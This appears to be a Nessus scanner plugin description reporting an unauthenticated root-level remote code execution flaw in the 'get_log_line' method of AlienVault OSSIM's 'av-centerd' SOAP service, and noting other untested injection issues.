Description

The remote host is running a version of AlienVault Open Source Security Information Management (OSSIM) that is affected by a remote code execution vulnerability in the 'av-centerd' SOAP service due to a failure to sanitize user input to the 'get_log_line' method. A remote, unauthenticated attacker can exploit this vulnerability to execute arbitrary code with root privileges.

Note that this version is reportedly also affected by other remote code execution vulnerabilities as well as a SQL injection issue. However, Nessus did not test for these additional issues.
